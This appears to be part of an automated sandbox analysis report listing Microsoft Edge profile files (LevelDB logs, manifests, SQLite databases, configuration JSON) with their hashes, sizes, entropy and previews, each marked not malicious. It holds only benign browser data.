SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jkQUBUpGQUBrmL:TO8D4jJ/6Up+QlnlI
MD5:	7727DB9B30C52CFA44C88DBB0C2F687E
SHA1:	6EAD60955D8324DD9F67FB65B95FE5F66789F225
SHA-256:	ADD8E30F4F15505603978F7C7C559B919FB8B931F8371647D8A0B03E57A74B74
SHA-512:	A19BCCDD577B5C8303CE74FBB5562D960128C86144AB102B0F85224260F3C0970DA0B9A36B2B0A6686AEBBC37C76BB00D231F0CC7894F579C92E5A554FAF0EE9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354098569870937
Encrypted:	false
SSDEEP:	6144:jA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:jFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	4D8B61CCFCF77450EB830EE5322360B4
SHA1:	D807AB0F0626B85E80ACD5CFA3FE7E27EAFE5D0B
SHA-256:	E4E0F7666673EF2F9B4B3ECFFEB934BEC064125863F22833E61611B9FC483221
SHA-512:	8EF4B050916A41E8A9DDDA6E596FC57ED24E23B6ECDF9A6FEB6032967D2E4F9934C3C9EBC1AC36F8CDA3ADCF052622E68A122D3305D5B88E8603BC376173EE62
Malicious:	false
Preview:	...m.................DB_VERSION.1.~EDq...............&QUERY_TIMESTAMP:domains_config_gz2...13377006524157998..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.214509904272626
Encrypted:	false
SSDEEP:	6:HAVIAs1CHhJ23oH+Tcwtk2WwnvB2KLlVA4M9+q2PCHhJ23oH+Tcwtk2WwnvIFUv:gVI/YebkxwnvFLo4M4vBYebkxwnQFUv
MD5:	4B7D6A4D56EDD4BC49C2B09573BC789C
SHA1:	570CA4E114D45F2FB7CD6C9189E7DDFA577A49A9
SHA-256:	3454BDE2BBB4CC372001F394F7A8B2BDA665E04FF4E99A5CA8DA7EFD961A24D8
SHA-512:	FCFAC3E9AB732BC91BE96A2C9D7D1EB102BC6A66070DFB3AAB3E0427C0C288088207A2CBE5745A4E3A746C42B7FB44153E99F10502D8C0E9E9A7590A04747E11
Malicious:	false
Preview:	2024/11/25-06:08:41.343 2278 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/25-06:08:41.412 2278 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358858
Entropy (8bit):	5.324602977872739
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RY:C1gAg1zfvw
MD5:	9234BF1C0D26A962F0A7034FA201E043
SHA1:	523070D48D8B244B45BEC815555820690941FE5F
SHA-256:	C380695D111DD12332AAA6245DD50B2172D8661166CCA9DC060C1BD44EB4D5A8
SHA-512:	32B6CE93F01E5A8698F78A69DA03BB264FD30190E0E0FF478B409386E580EAF30C59B7B41EC2911D2033535EF8A60B4C821500B84B97B9E9AE07EF6716CAC53D
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.255634017487871
Encrypted:	false
SSDEEP:	6:HANuM+q2PCHhJ23oH+Tcwt8aPrqIFUt8YANQ6FZZmw+YANQ6FNVkwOCHhJ23oH+o:gNB+vBYebL3FUt87NQ6FZ/+7NQ6FNV5/
MD5:	0AD00C66BDF200C8C615DA41CB127C65
SHA1:	D4F557AAD3D4485ED108BB3C75D44AE1A934D2CD
SHA-256:	4A3037C2051534CC60B41963F230F1ADECC2C1E690800A1E6DB47CB95D23630E
SHA-512:	AF852D5041ECF207BF15CCC0759DB8713EFBC1E299866E022A9E227734BE20478482B2AD5347A9BF5B5162565B70B5AA7A2863633DA484E3A8E2EFD9DBE67F70
Malicious:	false
Preview:	2024/11/25-06:08:36.249 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-06:08:36.252 1d9c Recovering log #3.2024/11/25-06:08:36.252 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.255634017487871
Encrypted:	false
SSDEEP:	6:HANuM+q2PCHhJ23oH+Tcwt8aPrqIFUt8YANQ6FZZmw+YANQ6FNVkwOCHhJ23oH+o:gNB+vBYebL3FUt87NQ6FZ/+7NQ6FNV5/
MD5:	0AD00C66BDF200C8C615DA41CB127C65
SHA1:	D4F557AAD3D4485ED108BB3C75D44AE1A934D2CD
SHA-256:	4A3037C2051534CC60B41963F230F1ADECC2C1E690800A1E6DB47CB95D23630E
SHA-512:	AF852D5041ECF207BF15CCC0759DB8713EFBC1E299866E022A9E227734BE20478482B2AD5347A9BF5B5162565B70B5AA7A2863633DA484E3A8E2EFD9DBE67F70
Malicious:	false
Preview:	2024/11/25-06:08:36.249 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-06:08:36.252 1d9c Recovering log #3.2024/11/25-06:08:36.252 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.243057011351814
Encrypted:	false
SSDEEP:	6:HANQcz4q2PCHhJ23oH+Tcwt865IFUt8YANLNJZmw+YANS3F3DkwOCHhJ23oH+Tc4:gNQcUvBYeb/WFUt87NLX/+7NKz56YebD
MD5:	26B90958FBAB29B460FD793B5480380F
SHA1:	48EE9977D85FD277DF04B1E122A3EF3B5683A159
SHA-256:	82B011F2DEC3AB536E385DD0B8B3718EDACB630318660081944E13D58916942C
SHA-512:	2AF72B9A425118D672FB3D929D85FAAD3A990615D64CAD8F4D4A85CC3C76EA66C17346AA40F6FCFB8600A07F966E7EBFB2F7E881B71D4214D10A66141AFF926E
Malicious:	false
Preview:	2024/11/25-06:08:36.259 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-06:08:36.268 1c80 Recovering log #3.2024/11/25-06:08:36.270 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.243057011351814
Encrypted:	false
SSDEEP:	6:HANQcz4q2PCHhJ23oH+Tcwt865IFUt8YANLNJZmw+YANS3F3DkwOCHhJ23oH+Tc4:gNQcUvBYeb/WFUt87NLX/+7NKz56YebD
MD5:	26B90958FBAB29B460FD793B5480380F
SHA1:	48EE9977D85FD277DF04B1E122A3EF3B5683A159
SHA-256:	82B011F2DEC3AB536E385DD0B8B3718EDACB630318660081944E13D58916942C
SHA-512:	2AF72B9A425118D672FB3D929D85FAAD3A990615D64CAD8F4D4A85CC3C76EA66C17346AA40F6FCFB8600A07F966E7EBFB2F7E881B71D4214D10A66141AFF926E
Malicious:	false
Preview:	2024/11/25-06:08:36.259 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-06:08:36.268 1c80 Recovering log #3.2024/11/25-06:08:36.270 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.239679367279012
Encrypted:	false
SSDEEP:	6:HAiHU6DM+q2PCHhJ23oH+Tcwt8NIFUt8YAiggZmw+YABDMVkwOCHhJ23oH+Tcwt2:g69M+vBYebpFUt87I/+7hMV56YebqJ
MD5:	B15E9F050994EDAA2B0E2F054E2CBD11
SHA1:	35ACF70DA39ED0E0848EBB0D0FAC4E075120574C
SHA-256:	1B724C01B005359FAEA52B9A7EFB38A955787D03C8283BF74D11B69584159C82
SHA-512:	47C49E510BF89211B63B0E83BFFCEED3C18A9D6D3EA2E1E93EEB7458EF2FB88C2797F4B062A87F2D9F5B3B2A29561786F48BC02DF5D571B01CBC01D2734D7EFD
Malicious:	false
Preview:	2024/11/25-06:08:37.048 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-06:08:37.049 1cfc Recovering log #3.2024/11/25-06:08:37.050 1cfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.239679367279012
Encrypted:	false
SSDEEP:	6:HAiHU6DM+q2PCHhJ23oH+Tcwt8NIFUt8YAiggZmw+YABDMVkwOCHhJ23oH+Tcwt2:g69M+vBYebpFUt87I/+7hMV56YebqJ
MD5:	B15E9F050994EDAA2B0E2F054E2CBD11
SHA1:	35ACF70DA39ED0E0848EBB0D0FAC4E075120574C
SHA-256:	1B724C01B005359FAEA52B9A7EFB38A955787D03C8283BF74D11B69584159C82
SHA-512:	47C49E510BF89211B63B0E83BFFCEED3C18A9D6D3EA2E1E93EEB7458EF2FB88C2797F4B062A87F2D9F5B3B2A29561786F48BC02DF5D571B01CBC01D2734D7EFD
Malicious:	false
Preview:	2024/11/25-06:08:37.048 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-06:08:37.049 1cfc Recovering log #3.2024/11/25-06:08:37.050 1cfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21801331613199856
Encrypted:	false
SSDEEP:	3:YHLvtFlljq7A/mhWJFuQ3yy7IOWUDcHv4dweytllrE9SFcTp4AGbNCV9RUIfn:Yrk75fOpkv4d0Xi99pEYZ
MD5:	8EC18F62AD75F810AB7A50AE1F8A43E7
SHA1:	444208CFC63BD4B02E297B06A407CF732868F52B
SHA-256:	C4E8A803B98D9AA58DE2A1DA25F03388A71DBB8EAFC619FE7605B8FC019EE91C
SHA-512:	002965243277AA3D8E218B3131BD8767A36E3DFA6111CC6C510C6F8D03D7775F76CDB71D0702268923876E21F4A211FDAB645360E4E7AB84F08DDB013F77513B
Malicious:	false
Preview:	............&&%....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.287143483090401
Encrypted:	false
SSDEEP:	12:gG7IvBYeb8rcHEZrELFUt87V/+7H56Yeb8rcHEZrEZSJ:P6BYeb8nZrExg8q6Yeb8nZrEZe
MD5:	1BEEC82785A95F60AACAA20D8D3E0CB7
SHA1:	F1D91905FFBC1AD64884C543EB1918B640923F1E
SHA-256:	E98A5BB55952AB721856ED11FA56755CE87A082F9CFDB0766683245574F934CC
SHA-512:	EC47ECE9825D641BC69C88D141297C85AA349D4A63C9DBEDFC4C02DC3A2AE021B9169F235050C9D484BAD599372FD3E60ABE1F58AB83B449AFBD3E4FD44EDC75
Malicious:	false
Preview:	2024/11/25-06:08:40.132 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-06:08:40.133 1c80 Recovering log #3.2024/11/25-06:08:40.133 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.287143483090401
Encrypted:	false
SSDEEP:	12:gG7IvBYeb8rcHEZrELFUt87V/+7H56Yeb8rcHEZrEZSJ:P6BYeb8nZrExg8q6Yeb8nZrEZe
MD5:	1BEEC82785A95F60AACAA20D8D3E0CB7
SHA1:	F1D91905FFBC1AD64884C543EB1918B640923F1E
SHA-256:	E98A5BB55952AB721856ED11FA56755CE87A082F9CFDB0766683245574F934CC
SHA-512:	EC47ECE9825D641BC69C88D141297C85AA349D4A63C9DBEDFC4C02DC3A2AE021B9169F235050C9D484BAD599372FD3E60ABE1F58AB83B449AFBD3E4FD44EDC75
Malicious:	false
Preview:	2024/11/25-06:08:40.132 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-06:08:40.133 1c80 Recovering log #3.2024/11/25-06:08:40.133 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.676196533112176
Encrypted:	false
SSDEEP:	24:KJZWFmEUlHnloEs5wOGXZTW2sFV03y1x4/hFMy4Wp0kTN5zgFHHmi28/V:KJZPEQTshGXZy2iV03Sx4/h+y4Y+HH33
MD5:	49EC5F4BD1240483297E3BF0C2043C41
SHA1:	1A3AC72421E6F26DC5FABB61551BF80881117307
SHA-256:	577569087687865AE41BCA819EFBF8916D2D439716D14323AF8E446F4526C909
SHA-512:	47C6ABE5F5BEAA3847B420B3911638DAE83C86E8A6F791AD4D2279DACAAB228FA83DEEEE6A697B82656B27EB830DF7B2E1F3DAB5A91ED212FE2DE3217274DC5F
Malicious:	false
